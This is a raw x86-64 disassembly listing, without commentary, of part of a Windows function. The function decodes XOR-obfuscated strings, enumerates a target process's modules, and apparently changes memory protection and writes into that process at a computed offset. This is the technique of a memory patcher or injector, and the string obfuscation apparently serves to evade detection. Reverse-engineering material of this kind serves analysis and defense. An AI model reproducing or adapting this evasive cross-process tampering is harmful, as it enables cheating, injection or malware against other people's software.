lea rax, [rbp + 0x21f2]
lea rdx, [rbp + 0x21f2]
mov qword [rbp + 0x50e8], rdx
mov qword [rbp + 0x50e0], rax
mov dword [rbp + 0x50dc], 0
cmp dword [rbp + 0x50dc], 0xd
jg 0x409c3d
mov eax, dword [rbp + 0x50dc]
movsxd rdx, eax
mov rax, qword [rbp + 0x50e0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x50dc]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x50e8]
mov eax, dword [rbp + 0x50dc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x50dc], 1
jmp 0x409bd2
nop
lea rax, [rbp + 0x21f2]
mov rdx, qword [rbp + 0x5268]
mov r8, rdx
mov rdx, rax
lea rcx, str._s_p_n
call fcn.00401540
mov dword [rbp + 0x50d8], 0
cmp dword [rbp + 0x50d8], 0xd
jg 0x409c8a
mov eax, dword [rbp + 0x50d8]
cdqe
mov byte [rbp + rax + 0x21f2], 0
add dword [rbp + 0x50d8], 1
jmp 0x409c68
nop
mov rax, qword [rbp + 0x5268]
mov qword [rbp + 0x5260], rax
mov rax, qword [rbp + 0x5260]
mov rdx, qword [rbp + 0x5270]
sub rax, rdx
mov dword [rbp + 0x525c], eax
lea rax, [rbp + 0x21e5]
lea rdx, [rbp + 0x4fc8]
mov rcx, rax
call fcn.00403ac4
lea rax, [rbp + 0x21e5]
mov qword [rbp + 0x50d0], rax
mov rax, qword [rbp + 0x50d0]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x409d7e
lea rax, [rbp + 0x21e5]
lea rdx, [rbp + 0x21e5]
mov qword [rbp + 0x50c8], rdx
mov qword [rbp + 0x50c0], rax
mov dword [rbp + 0x50bc], 0
cmp dword [rbp + 0x50bc], 0xc
jg 0x409d7d
mov eax, dword [rbp + 0x50bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x50c0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x50bc]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x50c8]
mov eax, dword [rbp + 0x50bc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x50bc], 1
jmp 0x409d12
nop
lea rax, [rbp + 0x21e5]
mov edx, dword [rbp + 0x525c]
mov r8d, edx
mov rdx, rax
lea rcx, str._s_p_n
call fcn.00401540
mov dword [rbp + 0x50b8], 0
cmp dword [rbp + 0x50b8], 0xc
jg 0x409dc9
mov eax, dword [rbp + 0x50b8]
cdqe
mov byte [rbp + rax + 0x21e5], 0
add dword [rbp + 0x50b8], 1
jmp 0x409da7
nop
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp + 0x1dc]
lea rdx, [rbp + 0x1e0]
mov r9, rcx
mov r8d, 0x2000
mov rcx, rax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
setne al
test al, al
je 0x40a0f9
mov dword [rbp + 0x537c], 0
mov eax, dword [rbp + 0x537c]
cdqe
mov edx, dword [rbp + 0x1dc]
mov edx, edx
shr rdx, 3
cmp rax, rdx
jae 0x40a0f9
mov eax, dword [rbp + 0x537c]
cdqe
mov rdx, qword [rbp + rax*8 + 0x1e0]
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp - 0x10]
mov r9d, 0x104
mov r8, rcx
mov rcx, rax
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
setne al
test al, al
je 0x40a0ed
lea rax, [rbp + 0x4fc9]
mov rcx, rax
call fcn.0046f670
lea rcx, [rbp + 0x4fc9]
lea rdx, [rbp - 0x10]
lea rax, [rbp - 0x30]
mov r8, rcx
mov rcx, rax
call fcn.004a75b0
lea rax, [rbp + 0x4fc9]
mov rcx, rax
call fcn.0046f6a0
lea rax, [rbp + 0x22f4]
mov qword [rbp + 0x50b0], rax
mov rax, qword [rbp + 0x50b0]
mov qword [rbp + 0x50a8], rax
mov rax, qword [rbp + 0x50a8]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x409f5b
mov rax, qword [rbp + 0x50b0]
mov rdx, qword [rbp + 0x50b0]
mov qword [rbp + 0x50a0], rdx
mov qword [rbp + 0x5098], rax
mov dword [rbp + 0x5094], 0
cmp dword [rbp + 0x5094], 0xb
jg 0x409f5a
mov eax, dword [rbp + 0x5094]
movsxd rdx, eax
mov rax, qword [rbp + 0x5098]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5094]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x50a0]
mov eax, dword [rbp + 0x5094]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5094], 1
jmp 0x409eef
nop
lea rdx, [rbp + 0x22f4]
lea rax, [rbp - 0x30]
mov r8d, 0
mov rcx, rax
call fcn.004324c0
cmp rax, 0xffffffffffffffff
setne al
test al, al
je 0x40a0e1
mov eax, dword [rbp + 0x537c]
cdqe
mov rdx, qword [rbp + rax*8 + 0x1e0]
lea rax, [rbp - 0x10]
mov r8, rdx
mov rdx, rax
lea rcx, str._t_s__0x_08X__n
call fcn.00401540
mov eax, dword [rbp + 0x537c]
cdqe
mov rax, qword [rbp + rax*8 + 0x1e0]
mov qword [rbp + 0x5380], rax
lea rax, [rbp + 0xf6]
lea rdx, [rbp + 0x4fca]
mov rcx, rax
call fcn.00403b3e
mov eax, dword [rbp + 0x537c]
cdqe
mov r8, qword [rbp + rax*8 + 0x1e0]
lea rax, [rbp + 0xf6]
mov qword [rbp + 0x5088], rax
mov rax, qword [rbp + 0x5088]
movzx eax, byte [rax + 0xa]
test al, al
setne al
test al, al
je 0x40a09e
lea rax, [rbp + 0xf6]
lea rdx, [rbp + 0xf6]
mov qword [rbp + 0x5080], rdx
mov qword [rbp + 0x5078], rax
mov dword [rbp + 0x5074], 0
cmp dword [rbp + 0x5074], 0xa
jg 0x40a09d
mov eax, dword [rbp + 0x5074]
movsxd rdx, eax
mov rax, qword [rbp + 0x5078]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5074]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r9d, eax
sar r9d, 0x1f
sub edx, r9d
imul r9d, edx, 0x34
sub eax, r9d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x5080]
mov eax, dword [rbp + 0x5074]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5074], 1
jmp 0x40a032
nop
lea rax, [rbp + 0xf6]
mov rdx, rax
lea rcx, str._s_p_n
call fcn.00401540
mov dword [rbp + 0x5070], 0
cmp dword [rbp + 0x5070], 0xa
jg 0x40a0e0
mov eax, dword [rbp + 0x5070]
cdqe
mov byte [rbp + rax + 0xf6], 0
add dword [rbp + 0x5070], 1
jmp 0x40a0be
nop
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.004a7c00
add dword [rbp + 0x537c], 1
jmp 0x409e07
mov eax, dword [rbp + 0x525c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5380]
add rax, rdx
mov qword [rbp + 0x1d0], rax
lea rax, [rbp + 0x1b0]
lea rdx, [rbp + 0x4fcb]
mov rcx, rax
call fcn.00403ba8
mov r8, qword [rbp + 0x1d0]
lea rax, [rbp + 0x1b0]
mov qword [rbp + 0x5068], rax
mov rax, qword [rbp + 0x5068]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x40a1e8
lea rax, [rbp + 0x1b0]
lea rdx, [rbp + 0x1b0]
mov qword [rbp + 0x5060], rdx
mov qword [rbp + 0x5058], rax
mov dword [rbp + 0x5054], 0
cmp dword [rbp + 0x5054], 0x13
jg 0x40a1e7
mov eax, dword [rbp + 0x5054]
movsxd rdx, eax
mov rax, qword [rbp + 0x5058]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5054]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r9d, eax
sar r9d, 0x1f
sub edx, r9d
imul r9d, edx, 0x34
sub eax, r9d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x5060]
mov eax, dword [rbp + 0x5054]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5054], 1
jmp 0x40a17c
nop
lea rax, [rbp + 0x1b0]
mov rdx, rax
lea rcx, str._s_p_n
call fcn.00401540
mov dword [rbp + 0x5050], 0
cmp dword [rbp + 0x5050], 0x13
jg 0x40a22a
mov eax, dword [rbp + 0x5050]
cdqe
mov byte [rbp + rax + 0x1b0], 0
add dword [rbp + 0x5050], 1
jmp 0x40a208
nop
mov rax, qword [rbp + 0x1d0]
and eax, 0xfff
mov qword [rbp + 0x5250], rax
lea rax, [rbp + 0x1a3]
lea rdx, [rbp + 0x4fcc]
mov rcx, rax
call fcn.00403c5a
lea rax, [rbp + 0x1a3]
mov qword [rbp + 0x5048], rax
mov rax, qword [rbp + 0x5048]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x40a30c
lea rax, [rbp + 0x1a3]
lea rdx, [rbp + 0x1a3]
mov qword [rbp + 0x5040], rdx
mov qword [rbp + 0x5038], rax
mov dword [rbp + 0x5034], 0
cmp dword [rbp + 0x5034], 0xc
jg 0x40a30b
mov eax, dword [rbp + 0x5034]
movsxd rdx, eax
mov rax, qword [rbp + 0x5038]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5034]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x5040]
mov eax, dword [rbp + 0x5034]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5034], 1
jmp 0x40a2a0
nop
lea rax, [rbp + 0x1a3]
mov rdx, qword [rbp + 0x5250]
mov r8, rdx
mov rdx, rax
lea rcx, str._s_p_n
call fcn.00401540
mov dword [rbp + 0x5030], 0
cmp dword [rbp + 0x5030], 0xc
jg 0x40a358
mov eax, dword [rbp + 0x5030]
cdqe
mov byte [rbp + rax + 0x1a3], 0
add dword [rbp + 0x5030], 1
jmp 0x40a336
nop
mov r10, qword [0x0154b058]
mov rax, qword [rbp + 0x2348]
lea r8, [rbp + 0x2490]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x22cc]
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x170]
lea rdx, [rbp + 0x4fcd]
mov rcx, rax
call fcn.00403cd4
lea rax, [rbp + 0x170]
mov qword [rbp + 0x5028], rax
mov rax, qword [rbp + 0x5028]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x40a461
lea rax, [rbp + 0x170]
lea rdx, [rbp + 0x170]
mov qword [rbp + 0x5020], rdx
mov qword [rbp + 0x5018], rax
mov dword [rbp + 0x5014], 0
cmp dword [rbp + 0x5014], 0x27
jg 0x40a460
mov eax, dword [rbp + 0x5014]
movsxd rdx, eax
mov rax, qword [rbp + 0x5018]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5014]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x5020]
mov eax, dword [rbp + 0x5014]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5014], 1
jmp 0x40a3f5
nop
lea rax, [rbp + 0x170]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rcx, [0x0151f0e1]
call fcn.00401540
mov dword [rbp + 0x5010], 0
cmp dword [rbp + 0x5010], 0x27
jg 0x40a4ac
mov eax, dword [rbp + 0x5010]
cdqe
mov byte [rbp + rax + 0x170], 0
add dword [rbp + 0x5010], 1
jmp 0x40a48a
nop
mov r10, qword [0x0154b050]
mov r8, qword [rbp + 0x2490]
mov rcx, qword [0x0154b040]
mov rax, qword [rbp + 0x1d0]
mov rdx, rax
mov rax, qword [rbp + 0x5250]
add rax, rdx
mov r11, rax
mov rax, qword [rbp + 0x2348]
lea rdx, [rbp + 0x198]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x140]
lea rdx, [rbp + 0x4fce]
mov rcx, rax
call fcn.00403e26
lea rax, [rbp + 0x140]
mov qword [rbp + 0x5008], rax
mov rax, qword [rbp + 0x5008]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x40a5cf
lea rax, [rbp + 0x140]
lea rdx, [rbp + 0x140]
mov qword [rbp + 0x5000], rdx
mov qword [rbp + 0x4ff8], rax
mov dword [rbp + 0x4ff4], 0
cmp dword [rbp + 0x4ff4], 0x27
jg 0x40a5ce
mov eax, dword [rbp + 0x4ff4]
movsxd rdx, eax
mov rax, qword [rbp + 0x4ff8]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x4ff4]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x5000]
mov eax, dword [rbp + 0x4ff4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4ff4], 1
jmp 0x40a563
nop
lea rax, [rbp + 0x140]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rcx, [0x0151f0e1]
call fcn.00401540
mov dword [rbp + 0x4ff0], 0
cmp dword [rbp + 0x4ff0], 0x27
jg 0x40a61a
mov eax, dword [rbp + 0x4ff0]
cdqe
mov byte [rbp + rax + 0x140], 0
add dword [rbp + 0x4ff0], 1
jmp 0x40a5f8
nop
mov r10, qword [0x0154b058]
mov rax, qword [rbp + 0x2348]
lea r8, [rbp + 0x2490]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x22cc]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x110]
lea rdx, [rbp + 0x4fcf]
mov rcx, rax
call fcn.00403f78
lea rax, [rbp + 0x110]
mov qword [rbp + 0x4fe8], rax
mov rax, qword [rbp + 0x4fe8]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x40a723
lea rax, [rbp + 0x110]
lea rdx, [rbp + 0x110]
mov qword [rbp + 0x4fe0], rdx
mov qword [rbp + 0x4fd8], rax
mov dword [rbp + 0x4fd4], 0
cmp dword [rbp + 0x4fd4], 0x27
jg 0x40a722
mov eax, dword [rbp + 0x4fd4]
movsxd rdx, eax
mov rax, qword [rbp + 0x4fd8]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x4fd4]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x4fe0]
mov eax, dword [rbp + 0x4fd4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4fd4], 1
jmp 0x40a6b7
nop
lea rax, [rbp + 0x110]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rcx, [0x0151f0e1]
call fcn.00401540
mov dword [rbp + 0x4fd0], 0
cmp dword [rbp + 0x4fd0], 0x27
jg 0x40a76e
mov eax, dword [rbp + 0x4fd0]
cdqe
mov byte [rbp + rax + 0x110], 0
add dword [rbp + 0x4fd0], 1
jmp 0x40a74c
nop
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call fcn.00402d29
mov rax, qword [rbp + 0x1d0]
mov rdx, rax
mov rax, qword [rbp + 0x5250]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call fcn.0040290d
mov rdx, qword [0x0154b088]
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call rdx
mov ebx, 1
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c00
cmp ebx, 1
jne 0x40a7d5
mov esi, 0
mov eax, esi
jmp 0x40c11b
add rsp, 0x5420
pop rbx
pop rsi
pop rbp
ret